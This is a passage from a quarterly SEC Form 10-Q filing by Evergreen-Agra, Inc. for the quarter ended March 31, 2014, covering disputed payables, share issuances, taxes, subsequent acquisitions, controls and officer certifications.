2013 (Unaudited) Harpreet Sangha, chief executive office of the Company from September 19, 2009 to September 1, 2013 and director of the Company from September 19, 2009 to May 4, 2014 $ 61,109 $ 63,218 Herminder Rai, chief financial officer of the Company from April 12, 2012 to September 21, 2013 and director of the Company from May 8, 2012 to March 11, 2014 69,472 72,143 Sam Sangha, brother of Harpreet Sangha 140,825 146,367 Craig Alford, director of the Company from October 14, 2011 to September 1, 2013 284,936 296,150 Total $ 556,342 $ 577,878

The above accounts payable represent amounts recorded in the records of Evergreen-Agra, Inc. (formerly Sharprock Resources, Inc.) prior to the acquisition of Evergreen Systems on November 19, 2013. Current management of the Company disputes these recorded liabilities.

NOTE 7. COMMON STOCK ISSUANCES

Issuance in 2013 Prior to Reverse Acquisition of Evergreen Systems Incorporated on November 19, 2013

On October 7, 2013, the Company issued 40,000,000 shares (400,000 shares on a post-reverse split basis) of its common stock to Harpreet Sangha (chief executive officer at the Company from September 19, 2009 to September 1, 2013 and director of the Company from September 19, 2009 to May 4, 2014) in satisfaction of $400,000 debt due him.

Issuances on November 19, 2013 in Connection with Acquisition of Evergreen Systems

On November 19, 2013, pursuant to a letter of intent dated September 10, 2013, the Company issued 20,000,000 post-split share of its common stock to Rene Hamouth in exchange for 100% ownership of Evergreen Systems (See Note 1 and Note 4).

On November 19, 2013 (See Note 1), the Company issued 19,600,000 post-split shares of its common stock to Harpreet Sangha for future services to be rendered to the Company. The Company valued the common stock at $0.05 per share and recognized stock-based compensation expense of $980,000.

On November 19, 2013 (See Note 1), the Company issued 1,000,000 post-split shares of its common stock to Richard Specht for service rendered to the Company. The Company valued the common stock at $0.05 per share and recognized stock-based compensation expense of $50,000. 13

Issuances in 2014

On February 21, 2014, the Company issued a total of 200,000 shares of its common stock (100,000 shares to Facundo L. Bacardi, director of the Company from December 13, 2013, and 100,000 shares to Adrian Towning, chief financial officer of the Company from September 21, 2013 to July 2, 2014) for services. The Company valued the common stock at $0.44 per share and recognized stock-based compensation expense of $88,000 in the three months ended March 31, 2014.

NOTE 8. INCOME TAXES

The Company generated a net loss for the period presented. Accordingly, no provision for income taxes has been recorded.

The Company's effective tax rate differs from the United States Federal income tax rate as follows:

Three Months Ened March 31, 2014 (Unaudited) Corporate Federal income tax at 35% $ (20,911 ) Non-deductible stock-based compensation 30,800 Non-taxable foreign exchange gain (9,961 ) Change in valuation allowance 72 Provision for Income Taxes $ -

At March 31, 2014, the Company has net operating loss carryforwards which expire from 2028 to 2034. The deferred tax asset relating to these net operating loss carryforwards has been fully reserved for at March 31, 2014 since management's assessment has not yet determined it to be more likely than not that the net operating loss carryforwards will be realized.

Current United States income tax laws limit the amount of loss available to be offset against future taxable income when a substantial change in ownership occurs. Therefore, the amount available to offset future taxable income may be limited.

NOTE 9. SUBSEQUENT EVENTS

On July 31, 2014, the Company issued a total of 1,500,000 shares of its common stock (1,100,000 shares to Chadd McKeen, chief executive officer and director of the Company from July 17, 2014 to October 9, 2014; 100,000 shares to Alysha McKeen; 200,000 shares to Paolo Galido, chief information officer and director of the Company since July 17, 2014; and 100,000 shares to Todd Hazlewood, chief financial officer and director of the Company since July 17, 2014) in connection with the acquisition of OtherSideFarms ("OSF"), an entity engaged in the research of marijuana. At the July 17, 2014 closing date, OSF had no tangible assets, no employees, and no revenue producing operations. In October 2014, the Company terminated its involvement with OSF. The $660,000 estimated fair value of the 1,500,000 shares of Company common stock will be charged to "Stock-based costs relating to terminated acquisitions" in the statement of operations for the three months ended September 30, 2014. 14

On August 1, 2014, the Company issued 1,000,000 shares of its common stock to Ryan Hamouth, chief operating officer and director of the Company from July 17, 2014 to September 22, 2014 for services. The $440,000 estimated fair value of the 1,000,000 shares of Company common stock will be charged to "Stock-based compensation" in the statement of operations for the three months ended September 30, 2014.

On September 8, 2014, the Company issued a total of 138,800 shares of its common stock to 31 investors of a private placement completed in July 2014 for net proceeds of $62,400.

On October 30, 2014, the Company issued 225,000 shares of its common stock to Robert Shaw for consulting services. The $99,000 estimated fair value of the 225,000 shares of Company common stock will be charged to "Stock-based compensation" in the statement of operations for the three months ended December, 31, 2014.

On March 2, 2015, the Company issued 500,000 shares of its common stock to David Duroure, chief executive officer and director of the Company from November 13, 2014 to December 5, 2014, in connection with the November 13, 2014 acquisition of Strategic Plans Pharma LLC ("SPP"), an entity which planned to provide educational programs for military veterans. In December 2014, the Company terminated its involvement with SPP. The $220,000 estimated fair value of the 500,000 shares of Company common stock will be charged to "Stock-based costs relating to terminated acquisitions" in the statement of operations for the three months ended December 31, 2014.

On June 30, 2015, the Company issued 100,000 shares of its common stock to Bram Solloway for consulting services. The $44,000 estimated fair value of the 100,000 shares of Company common stock will be charged to "Stock-based compensation" in the statement of operations for the three months ended June 30, 2015.

On August 2, 2015, the 19,600,000 shares of Company common stock issued to Harpreet Sangha on November 19, 2013 (see Note 7) was returned to the Company transfer agent and cancelled due to the resignation of Harpreet Sangha as Chairman of the Board and as a director on May 4, 2014.

On January 4, 2016, the Company executed an Executive Agreement with Matt Rhoden (the "Executive") and Rene Hamouth (the "Principal Shareholder"). The agreement provides for the employment of the Executive as Chief Executive Officer of the Company for a period of 5 years, unless sooner terminated by the Board of Directors. The agreement also provides for the issuance to the Executive of the number of shares of Company common stock equal to the number held by the Principal Shareholder (17,339,889 shares). The agreement also provides for the Executive and Principal Stockholder to vote together on all matters presented to the shareholders for vote and for each to grant the other a right of first refusal on shares owned by each during the term of the agreement.

As of March 31, 2016, there was 42,826,491 shares of Company common stock issued and outstanding.

15

Item 2. Management's Discussion and Analysis of Financial Condition and Results of Operations

The following discussion should be read in conjunction with our most recent audited financial statements which are included in the Form 10-K annual report filed on March 22, 2016, and the related notes to such financial statements. This section of this report includes a number of forward-looking statements that reflect our current views with respect to future events and financial performance. Forward-looking statements are often identified by words like: believe, expect, estimate, anticipate, intend, project and similar expressions, or words which, by their nature, refer to future events. You should not place undue certainty on these forward-looking statements, which apply only as of the date of our report. These forward-looking statements are subject to certain risks and uncertainties that could cause actual results to differ materially from historical results or our predictions. We are an exploration stage company and have yet to generate revenues to achieve profitability.

Plan of Operations

Evergreen-Agra Inc. (hereinafter referred to as the "Company") was incorporated on June 13, 2008 by filing Articles of Incorporation under the Nevada Secretary of State. The Company was incorporated under the name AMF Capital Group, Inc. In June 2009, the Company changed its name to Blackrock Resources, Inc. In January 2010 the Company changed its name to Artepharm Global Corp. Effective July 20, 2011, the Company changed its name to Sharprock Resources Inc. Effective October 23, 2013 the Company changed its name to Evergreen-Agra, Inc. During the Company's quarter ended September 30, 2011, the Company shifted its focus from mineral exploration to organic veterinary medical products. In the quarter ended December 31, 2013, the Company shifted its focus to medical marijuana coincident with its acquisition of Evergreen Systems effective November 19, 2013.

At March 31, 2014, the Company had negative working capital of $1,138,134. Further, the Company has had no revenues from inception on August 15, 2013. These factors raise substantial doubt about the Company's ability to continue as a going concern. The financial statements do not include any adjustments that might result from this uncertainty.

The future of the Company is dependent upon its ability to obtain financing and upon future profitable operations. We anticipate that additional funding will be in the form of equity financing from the sale of our common stock. However, we cannot provide investors with any assurance that we will be able to raise sufficient funding from the sale of our common stock to fund our plan of operations going forward. In the absence of such financing, our business plan will fail. Even if we are successful in obtaining equity financing, there is no assurance that we will obtain the funding necessary to pursue our business plan. If we do not continue to obtain additional financing going forward, we will be forced to re-evaluate or abandon our plan of operations.

Off-Balance Sheet Arrangements

We do not have any off-balance sheet arrangements that have or are reasonably likely to have a current or future effect on our financial condition, changes in financial condition, revenues or expenses, results of operations, liquidity, capital expenditures or capital resources that is material to investors. 16

Item 3. Quantitative and Qualitative Disclosures About Market Risk

Not applicable because we are a smaller reporting company.

Item 4. Controls and Procedures

Disclosure Controls and Procedures

Mr. Rene Hamouth, our Company's Chairman and President and Mr. Matthew Rhoden, our Chief Executive Officer, have evaluated the effectiveness of our disclosure controls and procedures (as defined in Rule 13a-15(e) of the Exchange Act) as of March 31, 2014. Based on this evaluation, our chairman and chief executive officer have concluded that our disclosure controls and procedures were not effective as of March 31, 2014, due to the deficiencies in our internal control over financial reporting, as reported in our Annual Report on Form 10-K for our year ended December 31, 2013, which deficiencies have not been remedied.

No Changes in Internal Control over Financial Reporting

There were no changes in our internal control over financial reporting that occurred during our last fiscal quarter that have materially affected, or are reasonably likely to materially affect, our internal control over financial reporting.

17

PART II  OTHER INFORMATION

Item 1. Legal Proceedings

We currently are not a party to any material legal proceedings and, to our knowledge, no such proceedings are threatened or contemplated.

Item 1A. Risk Factors

Not applicable because we are a smaller reporting company.

Item 2. Unregistered Sales of Equity Securities and Use of Proceeds

None.

Item 4. (Removed and Reserved)

Not applicable.

Item 5. Other Information

On February 21, 2014, the Company issued a total of 200,000 shares of its common stock (100,000 shares to Facundo L. Bacardi, director of the Company from December 13, 2013, and 100,000 shares to Adrian Towning, chief financial officer of the Company from September 21, 2013 to July 2, 2014) for services. The Company valued the common stock at $0.44 per share and recognized stock-based compensation expense of $88,000 in the three months ended March 31, 2014. 18

Item 6. Exhibits

Exhibit No. Description 3.1 Articles of Incorporation (1) 3.2 Bylaws (1)

3.3 Certificate of Amendment as filed with the Nevada Secretary of State, effective as of November 13, 2009 (2) 3.4 Certificate of Change as filed with the Nevada Secretary of State, filed December 1, 2010 (3) 3.5 Certificate of Correction as filed with the Nevada Secretary of State, filed December 2, 2010 (3) 3.6 Certificate of Amendment as filed with the Nevada Secretary of State, effective as of February 24, 2011 (4) 3.7 Articles of Merger as filed with the Nevada Secretary of State, effective as of July 20, 2011 (5) 10.1 Share Purchase Agreement, dated February 3, 2012, among Sharprock Resources Inc., Credence Holdings Limited, Union Mining Holding Limited, and two individuals who are the beneficial owners of the entire share capital of Union.(6) 10.2 Consulting Contract between the Company and Craig Alford, dated July 1, 2011 (7) 10.3 Letter Agreement between the Company and Resource Energy Development, Inc., dated October 11, 2011 (7) 31.1 Certification of Chief Executive Officer pursuant to Rule 13a-14 and Rule 15d-14(a), promulgated under the Securities and Exchange Act of 1934, as amended (8) 31.2 Certification of Chief Financial Officer pursuant to Rule 13a-14 and Rule 15d-14(a), promulgated under the Securities and Exchange Act of 1934 , as amended (8) 32.1 Certification of Chief Executive Officer and Chief Financial Officer pursuant to 18 U.S.C. Section 1350, as adopted pursuant to Section 906 of the Sarbanes-Oxley Act of 2002 (8)

Notes (1) Incorporated by reference from our Registration Statement on Form S-1, filed with the SEC on September 5, 2008. (2) Incorporated by reference from our Current Report on Form 8-K, filed with the SEC on March 3, 2010. (3) Incorporated by reference from our Current Report on Form 8-K, filed with the SEC on December 17, 2010. (4) Incorporated by reference from our Current Report on Form 8-K, filed with the SEC on March 2, 2011. (5) Incorporated by reference from our Current Report on Form 8-K, filed with the SEC on July 20, 2011. (6) Incorporated by reference from our Current Report on Form 8-K, filed with the SEC on February 9, 2012. (7) Incorporated by reference from our Annual Report on Form 10-K, filed with the SEC on April 16, 2012. (8) Filed herewith

19

SIGNATURES

Pursuant to the requirements of the Securities Exchange Act of 1934, the registrant has duly caused this report to be signed on its behalf by the undersigned, thereunto duly authorized.

Evergreen-Agra, Inc. Date: April 21, 2016 By: "Rene Hamouth" Rene Hamouth Chairman of the Board and a director

20

EXHIBIT 31.1

CERTIFICATION

I, Matthew Rhoden, certify that:

1. I have reviewed this report on Form 10-Q for the quarterly period ended March 31, 2014 of Evergreen-Agra, Inc.; 2. Based on my knowledge, this report does not contain any untrue statement of a material fact or omit to state a material fact necessary to make the statements made, in light of the circumstances under which such statements were made, not misleading with respect to the period covered by this report; 3. Based on my knowledge, the financial statements, and other financial information included in this report, fairly present in all material respects the financial condition, results of operations and cash flows of the registrant as of, and for, the periods presented in this report; 4. The registrant's other certifying officer(s) and I are responsible for establishing and maintaining disclosure controls and procedures (as defined in Exchange Act Rules 13a-15(e) and 15d-15(e)) and internal control over financial reporting (as defined in Exchange Act Rules 13a-15(f) and 15d-15(f)) for the registrant and have:





(a) Designed such disclosure controls and procedures, or caused such disclosure controls and procedures to be designed under our supervision, to ensure that material information relating to the registrant, including its consolidated subsidiaries, is made known to us by others within those entities, particularly during the period in which this report is being prepared; (b) Designed such internal control over financial reporting, or caused such internal control over financial reporting to be designed under our supervision, to provide reasonable assurance regarding the reliability of financial reporting and the preparation of financial statements for external purposes in accordance with generally accepted accounting principles; (c) Evaluated the effectiveness of the registrant's disclosure controls and procedures and presented in this report our conclusions about the effectiveness of the disclosure controls and procedures, as of the end of the period covered by this report based on such evaluation; and (d) Disclosed in this report any change in the registrant's internal control over financial reporting that occurred during the registrant's most recent fiscal quarter (the registrant's fourth fiscal quarter in the case of an annual report) that has materially affected, or is reasonably likely to materially affect, the registrant's internal control over financial reporting; and





5. The registrant's other certifying officer(s) and I have disclosed, based on our most recent evaluation of the internal control over financial reporting, to the registrant's auditors and the audit committee of the registrant's board of directors (or persons performing the equivalent functions): (a) all significant deficiencies and material weaknesses in the design or operation of internal control over financial reporting which are reasonably likely to adversely affect the registrant's ability to record, process, summarize and report financial information; and (b) any fraud, whether or not material, that involves management or other employees who have a significant role in the registrant's internal control over financial reporting.

Date: April 21, 2016 By: "Matthew Rhoden" Name: Matthew Rhoden Title: Chief Executive Officer and a director

EXHIBIT 31.2

CERTIFICATION

I, Todd Hazlewood, certify that:

1. I have reviewed this report on Form 10-Q for the quarterly period ended March 31, 2014 of Evergreen-Agra, Inc.; 2. Based on my knowledge, this report does not contain any untrue statement of a material fact or omit to state a material fact necessary to make the statements made, in light of the circumstances under which such statements were made, not misleading with respect to the period covered by this report; 3. Based on my knowledge, the financial statements, and other financial information included in this report, fairly present in all material respects the financial condition, results of operations and cash flows of the registrant as of, and for, the periods presented in this report; 4. The registrant's other certifying officer(s) and I are responsible for establishing and maintaining disclosure controls and procedures (as defined in Exchange Act Rules 13a-15(e) and 15d-15(e)) and internal control over financial reporting (as defined in Exchange Act Rules 13a-15(f) and 15d-15(f)) for the registrant and have:

(a) Designed such disclosure controls and procedures, or caused such disclosure controls and procedures to be designed under our supervision, to ensure that material information relating to the registrant, including its consolidated subsidiaries, is made known to us by others within those entities, particularly during the period in which this report is being prepared; (b) Designed such internal control over financial reporting, or caused such internal control over financial reporting to be designed under our supervision, to provide reasonable assurance regarding the reliability of financial reporting and the preparation of financial statements for external purposes in accordance with generally accepted accounting principles; (c) Evaluated the effectiveness of the registrant's disclosure controls and procedures and presented in this report our conclusions about the effectiveness of the disclosure controls and procedures, as of the end of the period covered by this report based on such evaluation; and (d) Disclosed in this report any change in the registrant's internal control over financial reporting that occurred during the registrant's most recent fiscal quarter (the registrant's fourth fiscal quarter in the case of an annual report) that has materially affected, or is reasonably likely to materially affect, the registrant's internal control over financial reporting; and

5. The registrant's other certifying officer(s) and I have disclosed, based on our most recent evaluation of the internal control over financial reporting, to the registrant's auditors and the audit committee of the registrant's board of directors (or persons performing the equivalent functions): (a) all significant deficiencies and material weaknesses in the design or operation of internal control over financial reporting which are reasonably likely to adversely affect the registrant's ability to record, process, summarize and report financial information; and (b) any fraud, whether or not material, that involves management or other employees who have a significant role in the registrant's internal control over financial reporting.

Date: April 21, 2016 By: "Todd Hazlewood" Name: Todd Hazlewood Title: Chief Financial Officer and a director

EXHIBIT 32.1

CERTIFICATION OF CHIEF EXECUTIVE OFFICER AND CHIEF FINANCIAL OFFICER PURSUANT TO 18 U.S.C. SECTION 1350, AS ADOPTED PURSUANT TO SECTION 906 OF THE SARBANES-OXLEY ACT OF 2002

The undersigned, Matthew Rhoden, the Chief Executive Officer of Evergreen-Agra, Inc. (the "Company"), and Todd Hazlewood, the Chief Financial Officer of the Company, hereby each certify, pursuant to 18 U.S.C. Section 1350, as adopted pursuant to Section 906 of the Sarbanes-Oxley Act of 2002, that, to his knowledge, the Quarterly Report on Form 10-Q for the period ended March 31, 2014, fully complies with the requirements of Section 13(a) or 15(d) of the Securities Exchange Act of 1934, as amended, and that the information contained in the Quarterly Report on Form 10-Q fairly presents in all material respects the financial condition and results of operations of the Company.

Date: April 21, 2016 By: "Matthew Roden" Matthew Rhoden Chief Executive Officer and a director Date: April 21, 2016 By: "Todd Hazlewood" Todd Hazlewood Chief Financial Officer and a director

A signed original of this written statement required by Section 906, or other document authenticating, acknowledging, or otherwise adopting the signatures that appear in typed form within the electronic version of this written statement required by Section 906, has been provided to Evergreen-Agra, Inc. and will be retained by Evergreen-Agra, Inc. and furnished to the Securities and Exchange Commission or its staff upon request.

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Nature of Operations

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 1 - Nature of Operations Description of Business and History Evergreen-Agra Inc. (hereinafter referred to as the "Company") was incorporated on June 13, 2008 by filing Articles of Incorporation under the Nevada Secretary of State. The Company was incorporated under the name AMF Capital Group, Inc. In June 2009, the Company changed its name to Blackrock Resources, Inc. In January 2010 the Company changed its name to Artepharm Global Corp. Effective July 20, 2011, the Company changed its name to Sharprock Resources Inc. Effective October 23, 2013 the Company changed its name to Evergreen-Agra, Inc. During the Company's quarter ended September 30, 2011, the Company shifted its focus from mineral exploration to organic veterinary medical products. In the quarter ended December 31, 2013, the Company shifted its focus to medical marijuana coincident with its acquisition of Evergreen Systems effective November 19, 2013. On November 19, 2013, pursuant to a letter of intent dated September 10, 2013, the Company issued 20,000,000 post-split shares of its common stock to Rene Hamouth in exchange for 100% ownership of Evergreen Systems ("ES") Except for conducting research on the medical marijuana industry, ES had no assets, liabilities, or business operations prior to the acquisition. At closing, the Company also issued 19,600,000 post-split shares of its common stock to Harpreet Sangha (then director and former chief executive officer of the Company from September 19, 2009 to September 1, 2013) for future services to be rendered and 1,000,000 post-split shares of its common stock to Richard Specht (secretary and director of the Company from September 1, 2013 to November 21, 2014) for services rendered. ES became a wholly owned subsidiary of the Company. The acquisition resulted in a change of control of the Company on November 19, 2013. The accompanying consolidated financial statements reflect the assets, liabilities and operations of Evergreen Systems from its inception on August 15, 2013 to November 19, 2013 and are consolidated with Evergreen-Agra, Inc. thereafter. Reverse Stock Split Effective October 23, 2013, the Company completed a 1 for 100 reverse stock split of its common stock resulting in the reduction of the issued and outstanding shares of common stock from 82,280,000 shares to 822,800 shares at October 23, 2013. The accompanying consolidated financial statements retroactively reflect this reverse stock split.

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Going Concern Uncertainty

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 2 - Going Concern Uncertainty The accompanying financial statements have been prepared assuming that the Company will continue as a going concern, which contemplates the realization of assets and the liquidation of liabilities in the normal course of business. At March 31, 2014, the Company had negative working capital of $1,138,134. Further, the Company has had no revenues from inception on August 15, 2013. These factors raise substantial doubt about the Company's ability to continue as a going concern. The financial statements do not include any adjustments that might result from this uncertainty. The future of the Company is dependent upon its ability to obtain financing and upon future profitable operations. Management has plans to seek additional capital through a private placement of its common stock. The financial statements do not include any adjustments relating to the recoverability and classification of recorded assets, or the amounts of and classification of liabilities that might be necessary in the event the Company cannot continue in existence.

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Summary of Significant Accounting Policies

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 3 - Summary of Significant Accounting Policies Principles of Consolidation The accompanying unaudited consolidated financial statements include the accounts of Evergreen-Agra, Inc. (from November 19, 2013 to March 31, 2014) and its wholly owned subsidiary ES (from inception on August 15, 2013 to March 31, 2014). All significant intercompany balances and transactions have been eliminated in consolidation Basis of Presentation The accompanying unaudited consolidated financial statements have been prepared in accordance with accounting principles generally accepted in the United States of America ("U.S. GAAP") and are expressed in U.S. dollars. Use of Estimates In preparing the unaudited consolidated financial statements in conformity with U.S. GAAP, management makes estimates and assumptions that affect the reported amounts of assets and liabilities and disclosures of contingent assets and liabilities at the dates of the unaudited consolidated financial statements, as well as the reported amounts of revenues and expenses during the reporting periods. Actual results could differ from those estimates. Cash and Cash Equivalents The Company considers all highly liquid instruments with original maturities of three months or less when acquired, to be cash equivalents. We had no cash equivalents at December 31, 2013 and March 31, 2014. Equipment Equipment is stated at historical cost less accumulated depreciation. Depreciation is provided using the straight-line method over the estimated useful lives of the assets, generally ranging from three to five years. Stock-Based Compensation Stock-based compensation is accounted for at estimated fair value in accordance with Accounting Standards Codification 718, "Compensation  Stock Compensation." Income Taxes The Company accounts for income taxes under the provisions issued by the FASB which requires recognition of deferred tax liabilities and assets for the expected future tax consequences of events that have been included in the consolidated financial statements or tax returns. Under this method, deferred tax liabilities and assets are determined based on the difference between the financial statements and tax bases of assets and liabilities using enacted tax rates in effect for the year in which the differences are expected to reverse. The Company computes tax assets benefits for net operating losses carried forward. The potential benefit of net operating losses has not been recognized in these consolidated financial statements because the Company cannot be assured it is more likely than not it will utilize the net operating losses carried forward in future years. Loss Per Common Share The Company reports net loss per share in accordance with provisions of the FASB. The provisions require dual presentation of basic and diluted loss per share. Basic net loss per share excludes the impact of common stock equivalents. Diluted net loss per share utilizes the average market price per share when applying the treasury stock method in determining common stock equivalents. For the periods presented, there were no common stock equivalents outstanding. Fair Value of Financial Instruments Pursuant to ASC No. 820, "Fair Value Measurements and Disclosures", the Company is required to estimate the fair value of all financial instruments included on its balance sheet as of December 31, 2013 and March 31, 2014. The Company's financial instruments consist of cash and accounts payable. The Company considers the carrying value of such amounts in the financial statements to approximate their fair value due to the short-term nature of these financial instruments. Recent Accounting Pronouncements In June 2014, the FASB issued ASU 2014-10, "Development Stage Entities (Topic 915): Elimination of Certain Financial Reporting Requirements, including an Amendment to Variable Interest Entities Guidance in Topic 810, Consolidation" ("ASU 2014-10"). ASU 2014-10 removes the financial reporting distinction between development stage entities and other reporting entities and eliminates the requirements for development stage entities to (1) present inception -to-date information in the statements of income, cash flows, and shareholder equity, (2) label the financial statements as those of a development stage entity, (3) disclose a description of the development stage activities in which the entity is engaged, and (4) disclose in the first year in which the entity is no longer a development stage entity that in prior years it had been in the development stage. The Company was required to adopt this new standard on a retrospective basis for the year ended December 31, 2015 and interim periods therein; however, early application was permitted. The Company has elected to adopt the new reporting standard for financial statements filed commencing with Form 10-K for the year ended December 31, 2013. Other than simplifying the presentation of the Company's financial statements and needed disclosures, the adoption of ASU 2014-10 has not affected the Company's financial statements.

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Acquisition of Evergreen Systems

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 4 - Acquisition of Evergreen Systems Effective November 19, 2013, the Company acquired 100% ownership of Evergreen Systems ("ES") in exchange for 20,000,000 newly issued shares of the Company's common stock (See Note 1). The transaction has been accounted for as a "reverse acquisition" in the accompanying consolidated financial statements, The financial position and results of operations of the Company prior to November 19, 2013 have been excluded from the accompanying consolidated financial statements. The estimated fair values of the identifiable net assets of the Company at November 19, 2013 (effective date of the reverse acquisition) consisted of: Cash and cash equivalents $ 4 Prepaid expense 82 Equipment, net 2,466 Total Assets 2,552 Accounts payable 590,852 Accounts payable - related parties 587,073 Total liabilities 1,177,925 Identifiable Net Assets $ (1,175,373 ) The following pro forma information summarizes the results of operations for the period indicated as if the acquisition occurred on January 1, 2013. The pro forma information is not necessarily indicative of the results that would have been reported had the transaction actually occurred on January 1, 2013, nor is it intended to project results of operations for any future period. Three Months Ended

March 31,

2013 Revenue $ - Operating Expenses 123,715 Net Loss $ (123,715 ) Net Loss per Common Share - basic and diluted $ (0.01 ) Weighted Average Number of Common Shares Outstanding - basic and diluted 20,422,802

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Accounts Payable

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 5 - Accounts Payable Accounts payable at March 31, 2014 and December 31, 2013 consists of: March 31,

2014 December 31,

2013 (Unaudited) Former law firms $ 502,502 $ 507,840 Former audit firms 7,625 7,625 Other service providers 71,747 73,332 Total $ 581,874 $ 588,797 The above accounts payable represent amounts primarily recorded in the records of Evergreen-Agra, Inc. (formerly Sharprock Resources, Inc.) prior to the reverse acquisition of Evergreen Systems on November 19, 2013. Current management of the Company disputes these recorded liabilities.

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Accounts Payable - Related Parties

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 6 - Accounts Payable - Related Parties Accounts payable  related parties at March 31, 2014 and December 31, 2013 consists of: March 31,

2014 December 31,

2013 (Unaudited) Harpreet Sangha, chief executive office of the Company from September 19, 2009 to September 1, 2013 and director of the Company from September 19, 2009 to May 4, 2014 $ 61,109 $ 63,218 Herminder Rai, chief financial officer of the Company from April 12, 2012 to September 21, 2013 and director of the Company from May 8, 2012 to March 11, 2014 69,472 72,143 Sam Sangha, brother of Harpreet Sangha 140,825 146,367 Craig Alford, director of the Company from October 14, 2011 to September 1, 2013 284,936 296,150 Total $ 556,342 $ 577,878 The above accounts payable represent amounts recorded in the records of Evergreen-Agra, Inc. (formerly Sharprock Resources, Inc.) prior to the acquisition of Evergreen Systems on November 19, 2013. Current management of the Company disputes these recorded liabilities.

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Common Stock Issuances

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 7 - Common Stock Issuances Issuance in 2013 Prior to Reverse Acquisition of Evergreen Systems Incorporated on November 19, 2013 On October 7, 2013, the Company issued 40,000,000 shares (400,000 shares on a post-reverse split basis) of its common stock to Harpreet Sangha (chief executive officer at the Company from September 19, 2009 to September 1, 2013 and director of the Company from September 19, 2009 to May 4, 2014) in satisfaction of $400,000 debt due him. Issuances on November 19, 2013 in Connection with Acquisition of Evergreen Systems On November 19, 2013, pursuant to a letter of intent dated September 10, 2013, the Company issued 20,000,000 post-split share of its common stock to Rene Hamouth in exchange for 100% ownership of Evergreen Systems (See Note 1 and Note 4). On November 19, 2013 (See Note 1), the Company issued 19,600,000 post-split shares of its common stock to Harpreet Sangha for future services to be rendered to the Company. The Company valued the common stock at $0.05 per share and recognized stock-based compensation expense of $980,000. On November 19, 2013 (See Note 1), the Company issued 1,000,000 post-split shares of its common stock to Richard Specht for service rendered to the Company. The Company valued the common stock at $0.05 per share and recognized stock-based compensation expense of $50,000. Issuances in 2014 On February 21, 2014, the Company issued a total of 200,000 shares of its common stock (100,000 shares to Facundo L. Bacardi, director of the Company from December 13, 2013, and 100,000 shares to Adrian Towning, chief financial officer of the Company from September 21, 2013 to July 2, 2014) for services. The Company valued the common stock at $0.44 per share and recognized stock-based compensation expense of $88,000 in the three months ended March 31, 2014.

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v3.3.1.900

Income Taxes

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 8 - Income Taxes The Company generated a net loss for the period presented. Accordingly, no provision for income taxes has been recorded. The Company's effective tax rate differs from the United States Federal income tax rate as follows: Three Months Ened March 31, 2014 (Unaudited) Corporate Federal income tax at 35% $ (20,911 ) Non-deductible stock-based compensation 30,800 Non-taxable foreign exchange gain (9,961 ) Change in valuation allowance 72 Provision for Income Taxes $ - At March 31, 2014, the Company has net operating loss carryforwards which expire from 2028 to 2034. The deferred tax asset relating to these net operating loss carryforwards has been fully reserved for at March 31, 2014 since management's assessment has not yet determined it to be more likely than not that the net operating loss carryforwards will be realized. Current United States income tax laws limit the amount of loss available to be offset against future taxable income when a substantial change in ownership occurs. Therefore, the amount available to offset future taxable income may be limited.

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v3.3.1.900

Subsequent Events

3 Months Ended Mar. 31, 2014 Notes to Financial Statements Note 9 - Subsequent Events On July 31, 2014, the Company issued a total of 1,500,000 shares of its common stock (1,100,000 shares to Chadd McKeen, chief executive officer and director of the Company from July 17, 2014 to October 9, 2014; 100,000 shares to Alysha McKeen; 200,000 shares to Paolo Galido, chief information officer and director of the Company since July 17, 2014; and 100,000 shares to Todd Hazlewood, chief financial officer and director of the Company since July 17, 2014) in connection with the acquisition of OtherSideFarms ("OSF"), an entity engaged in the research of marijuana. At the July 17, 2014 closing date, OSF had no tangible assets, no employees, and no revenue producing operations. In October 2014, the Company terminated its involvement with OSF. The $660,000 estimated fair value of the 1,500,000 shares of Company common stock will be charged to "Stock-based costs relating to terminated acquisitions" in the statement of operations for the three months ended September 30, 2014. On August 1, 2014, the Company issued 1,000,000 shares of its common stock to Ryan Hamouth, chief operating officer and director of the Company from July 17, 2014 to September 22, 2014 for services. The $440,000 estimated fair value of the 1,000,000 shares of Company common stock will be charged to "Stock-based compensation" in the statement of operations for the three months ended September 30, 2014. On September 8, 2014, the Company issued a total of 138,800 shares of its common stock to 31 investors of a private placement completed in July 2014 for net proceeds of $62,400. On October 30, 2014, the Company issued 225,000 shares of its common stock to Robert Shaw for consulting services. The $99,000 estimated fair value of the 225,000 shares of Company common stock will be charged to "Stock-based compensation" in the statement of operations for the three months ended December, 31, 2014. On March 2, 2015, the Company issued 500,000 shares of its common stock to David Duroure, chief executive officer and director of the Company from November 13, 2014 to December 5, 2014, in connection with the November 13, 2014 acquisition of Strategic Plans Pharma LLC ("SPP"), an entity which planned to provide educational programs for military veterans. In December 2014, the Company terminated its involvement with SPP. The $220,000 estimated fair value of the 500,000 shares of Company common stock will be charged to "Stock-based costs relating to terminated acquisitions" in the statement of operations for the three months ended December 31, 2014. On June 30, 2015, the Company issued 100,000 shares of its common stock to Bram Solloway for consulting services. The $44,000 estimated fair value of the 100,000 shares of Company common stock will be charged to "Stock-based compensation" in the statement of operations for the three months ended June 30, 2015. On August 2, 2015, the 19,600,000 shares of Company common stock issued to Harpreet Sangha on November 19, 2013 (see Note 7) was returned to the Company transfer agent and cancelled due to the resignation of Harpreet Sangha as Chairman of the Board and as a director on May 4, 2014. On January 4, 2016, the Company executed an Executive Agreement with Matt Rhoden (the "Executive") and Rene Hamouth (the "Principal Shareholder"). The agreement provides for the employment of the Executive as Chief Executive Officer of the Company for a period of 5 years, unless sooner terminated by the Board of Directors. The agreement also provides for the issuance to the Executive of the number of shares of Company common stock equal to the number held by the Principal Shareholder (17,339,889 shares). The agreement also provides for the Executive and Principal Stockholder to vote together on all matters presented to the shareholders for vote and for each to grant the other a right of first refusal on shares owned by each during the term of the agreement. As of March 31, 2016, there was 42,826,491 shares of Company common stock issued and outstanding.

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v3.3.1.900

Summary Of Significant Accounting Policies (Policies)

